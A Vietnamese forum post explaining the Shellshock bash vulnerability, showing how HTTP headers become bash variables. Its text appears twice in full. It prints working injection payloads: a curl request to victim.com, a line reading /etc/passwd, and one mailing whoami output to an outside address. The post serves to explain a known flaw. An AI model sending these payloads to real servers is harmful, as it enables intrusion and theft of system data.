krone
VIP Members
-
26/07/2016
-
141
-
259 bài viết
Inside Shellshock: Cách mà hacker dùng để khai thác hệ thống! (P1)
Shellshock là các ví dụ điển hình trong các lỗ hổng thực thi mã tùy ý trong hệ thống (ACE - Arbitrary Code Execution). Thông thường, tấn công vào các lỗ hổng ACE được thực hiện trên các chương trình đang chạy và đòi hỏi sự hiểu biết sâu về việc thực thi mã, memory layout, mã assembly - theo một cách hiểu đơn giản thì cách tấn công này đòi hỏi người tấn công phải có sự hiểu biết nhiều về hệ thống.
Kẻ tấn công sử dụng lỗ hổng ACE để tải lên hoặc chạy một chương trình cung cấp khả năng kiểm soát máy tính mục tiêu, thường được thực hiện bằng cách chạy một shell thực thi. Shell là môt dòng lệnh có thể được nhập vào và thực thi trên hệ thống.
Lỗ hổng Shellshock là một vấn đề lớn bởi nó loại bỏ cung cấp một con đường để dành quyền kiểm soát máy tính mục tiêu và thực thi mã.
Giả định bạn muốn tấn công vào một máy chủ web và khiến cho các ổ đĩa CD hoặc DVD trượt mở ra ngoài, thực sự có một lệnh thực thi trên Linux có thể làm điều đó: /bin/eject .Nếu một máy chủ web dính lổ hổng Shellshock, bạn có thể tấn công nó bằng cách thêm cách chuỗi () { :; }; sau đó là /bin/eject và gửi chuỗi đó đến máy chủ web thông qua HTTP. Thông thường, chuỗi User-Agent sẽ xác định kiểu, loại trình duyệt bạn đang sử dụng, nhưng trong trường hợp máy chủ web dính lổ hổng Shellshock, nó có thể được thay thể và thiết lập để truyền đi bất cứ thứ gì.
Ví dụ, nếu trang victim.com gặp lổ hổng trên, ta có thể sử dụng curl:
curl -H "User-Agent: () { :; }; /bin/eject" http://victim.com/
Nó khiến cho các ổ CD và DVD trượt ra ngoài.
Tại sao nói rằng nó rất đơn giản để tấn công!?
Khi một máy chủ web nhận được yêu cầu cho một trang, có 3 nơi có thể bị tấn công Shellshock: các request URL, các header được gửi cùng URL,và một số arguments.
Ví dụ, đây là một request HTTP để lấy được trang chủ CloudFlare:
GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.com
Trong trường hợp này URL là / ngay tại trang chính và các header Accept-Encoding, Accept-Language,...nó là các biển phổ biến để máy chủ web kiểm tra.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
HTTP_CACHE_CONTROL=no-cache
HTTP_PRAGMA=no-cache
HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
HTTP_HOST=cloudflare.com
Shellshock xảy ra khi các biến đó được truyền vào shell được gọi là "bash". Bash là một shell thường được sử dụng trên các hệ thống Linux. Các máy chủ web thường phải chạy các chương trình khác để responsive các request, và các biến trên được sử dụng rất nhiều trong các shell bash.
Lổ hổng Shellshock xảy ra khi các kẻ tấn công thay đổi các request HTTP chứa các chuỗi biến hóa () { :; };
Giả sử kẻ tấn công thay đổi header User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
-> User-Agent: () { :; }; /bin/eject
Nó sẽ tạo ra biến bên trong máy chủ web như sau:
HTTP_USER_AGENT=() { :; }; /bin/eject
Thay vì xử lí các biến HTTP_USER_AGENT như là một chuỗi các ký tự không có ý nghĩa đặc biệt, bash sẽ diễn giải nó như là một lệnh cần được thực thi.(Ở đây không nói đến viên tại sao chuỗi kí tự () { :; }; lại khiến cho các bash thực thi được mã lệnh).
Vấn đề là HTTP_USER_AGENT đến từ header User-Agent mà là một cái gì đó điều khiển tấn công vì nó đi kèm trong một request HTTP đến máy chủ web. Và đó là một công thức cho kẻ tấn công có thể làm cho một server bị lỗi và chạy bất kỳ lệnh nào mà kẻ tấn công muốn.
Hãy tiến xa hơn...
Khi các máy chủ web đã dễ bị tấn công vào lổ hổng Shellshock và nó sẽ thực thi bất kì mã lệnh nào được gửi đến, các kẻ tấn công sẽ thao tác để điều khiển máy tính từ xa. Shellshock được sử dụng chủ yếu để thăm dò, trích xuất dữ liệu cá nhân và cho phép kẻ tấn công giành quyền kiểm soát máy tính mục tiêu.
Hầu hết các Shellshock được inject vào các header User-Agent và Referer nhưng kẻ tấn công cũng có thể sử dụng GET và các đối số POST và một số header ngẫu nhiên khác.
Để trích xuất thông tin cá nhân của máy chủ, các kẻ tấn công sử dụng một vài kĩ thuật như sau:
() {:;}; /bin/cat /etc/passwd
Nó đọc file password /etc/passwd ,và đó đính kèm vào response từ server trả về client.Vậy là các kẻ tấn công tiêm mã này thông qua các lổ hổng Shellshock và sẽ nhận được tập tin password hiển thị lên màn hình như là một phần trả về của máy chủ web.
Trong trường hợp muốn tấn công vào hệ thống mail private của mục tiêu để get thông tin thông qua mail, kẻ tấn công sử dụng command mail:
() {:;}; /bin/bash -c "whoami | mail -s 'example.com 1' [email protected]"
Lệnh whoami được thực thi trước đó để tìm ra tên của người sử dụng để chạy các máy chủ web. Điều này đặc biệt hữu ích vì nếu là người dùng root thì máy chủ đó thực sự có nhiều thứ đang để khai thác đối với một kẻ tấn công có chủ đích.
Continue()....
Kẻ tấn công sử dụng lỗ hổng ACE để tải lên hoặc chạy một chương trình cung cấp khả năng kiểm soát máy tính mục tiêu, thường được thực hiện bằng cách chạy một shell thực thi. Shell là môt dòng lệnh có thể được nhập vào và thực thi trên hệ thống.
Lỗ hổng Shellshock là một vấn đề lớn bởi nó loại bỏ cung cấp một con đường để dành quyền kiểm soát máy tính mục tiêu và thực thi mã.
Giả định bạn muốn tấn công vào một máy chủ web và khiến cho các ổ đĩa CD hoặc DVD trượt mở ra ngoài, thực sự có một lệnh thực thi trên Linux có thể làm điều đó: /bin/eject .Nếu một máy chủ web dính lổ hổng Shellshock, bạn có thể tấn công nó bằng cách thêm cách chuỗi () { :; }; sau đó là /bin/eject và gửi chuỗi đó đến máy chủ web thông qua HTTP. Thông thường, chuỗi User-Agent sẽ xác định kiểu, loại trình duyệt bạn đang sử dụng, nhưng trong trường hợp máy chủ web dính lổ hổng Shellshock, nó có thể được thay thể và thiết lập để truyền đi bất cứ thứ gì.
Ví dụ, nếu trang victim.com gặp lổ hổng trên, ta có thể sử dụng curl:
curl -H "User-Agent: () { :; }; /bin/eject" http://victim.com/
Nó khiến cho các ổ CD và DVD trượt ra ngoài.
Tại sao nói rằng nó rất đơn giản để tấn công!?
Khi một máy chủ web nhận được yêu cầu cho một trang, có 3 nơi có thể bị tấn công Shellshock: các request URL, các header được gửi cùng URL,và một số arguments.
Ví dụ, đây là một request HTTP để lấy được trang chủ CloudFlare:
GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.com
Trong trường hợp này URL là / ngay tại trang chính và các header Accept-Encoding, Accept-Language,...nó là các biển phổ biến để máy chủ web kiểm tra.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
HTTP_CACHE_CONTROL=no-cache
HTTP_PRAGMA=no-cache
HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
HTTP_HOST=cloudflare.com
Shellshock xảy ra khi các biến đó được truyền vào shell được gọi là "bash". Bash là một shell thường được sử dụng trên các hệ thống Linux. Các máy chủ web thường phải chạy các chương trình khác để responsive các request, và các biến trên được sử dụng rất nhiều trong các shell bash.
Lổ hổng Shellshock xảy ra khi các kẻ tấn công thay đổi các request HTTP chứa các chuỗi biến hóa () { :; };
Giả sử kẻ tấn công thay đổi header User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
-> User-Agent: () { :; }; /bin/eject
Nó sẽ tạo ra biến bên trong máy chủ web như sau:
HTTP_USER_AGENT=() { :; }; /bin/eject
Thay vì xử lí các biến HTTP_USER_AGENT như là một chuỗi các ký tự không có ý nghĩa đặc biệt, bash sẽ diễn giải nó như là một lệnh cần được thực thi.(Ở đây không nói đến viên tại sao chuỗi kí tự () { :; }; lại khiến cho các bash thực thi được mã lệnh).
Vấn đề là HTTP_USER_AGENT đến từ header User-Agent mà là một cái gì đó điều khiển tấn công vì nó đi kèm trong một request HTTP đến máy chủ web. Và đó là một công thức cho kẻ tấn công có thể làm cho một server bị lỗi và chạy bất kỳ lệnh nào mà kẻ tấn công muốn.
Hãy tiến xa hơn...
Khi các máy chủ web đã dễ bị tấn công vào lổ hổng Shellshock và nó sẽ thực thi bất kì mã lệnh nào được gửi đến, các kẻ tấn công sẽ thao tác để điều khiển máy tính từ xa. Shellshock được sử dụng chủ yếu để thăm dò, trích xuất dữ liệu cá nhân và cho phép kẻ tấn công giành quyền kiểm soát máy tính mục tiêu.
Hầu hết các Shellshock được inject vào các header User-Agent và Referer nhưng kẻ tấn công cũng có thể sử dụng GET và các đối số POST và một số header ngẫu nhiên khác.
Để trích xuất thông tin cá nhân của máy chủ, các kẻ tấn công sử dụng một vài kĩ thuật như sau:
() {:;}; /bin/cat /etc/passwd
Nó đọc file password /etc/passwd ,và đó đính kèm vào response từ server trả về client.Vậy là các kẻ tấn công tiêm mã này thông qua các lổ hổng Shellshock và sẽ nhận được tập tin password hiển thị lên màn hình như là một phần trả về của máy chủ web.
Trong trường hợp muốn tấn công vào hệ thống mail private của mục tiêu để get thông tin thông qua mail, kẻ tấn công sử dụng command mail:
() {:;}; /bin/bash -c "whoami | mail -s 'example.com 1' [email protected]"
Lệnh whoami được thực thi trước đó để tìm ra tên của người sử dụng để chạy các máy chủ web. Điều này đặc biệt hữu ích vì nếu là người dùng root thì máy chủ đó thực sự có nhiều thứ đang để khai thác đối với một kẻ tấn công có chủ đích.
Continue()....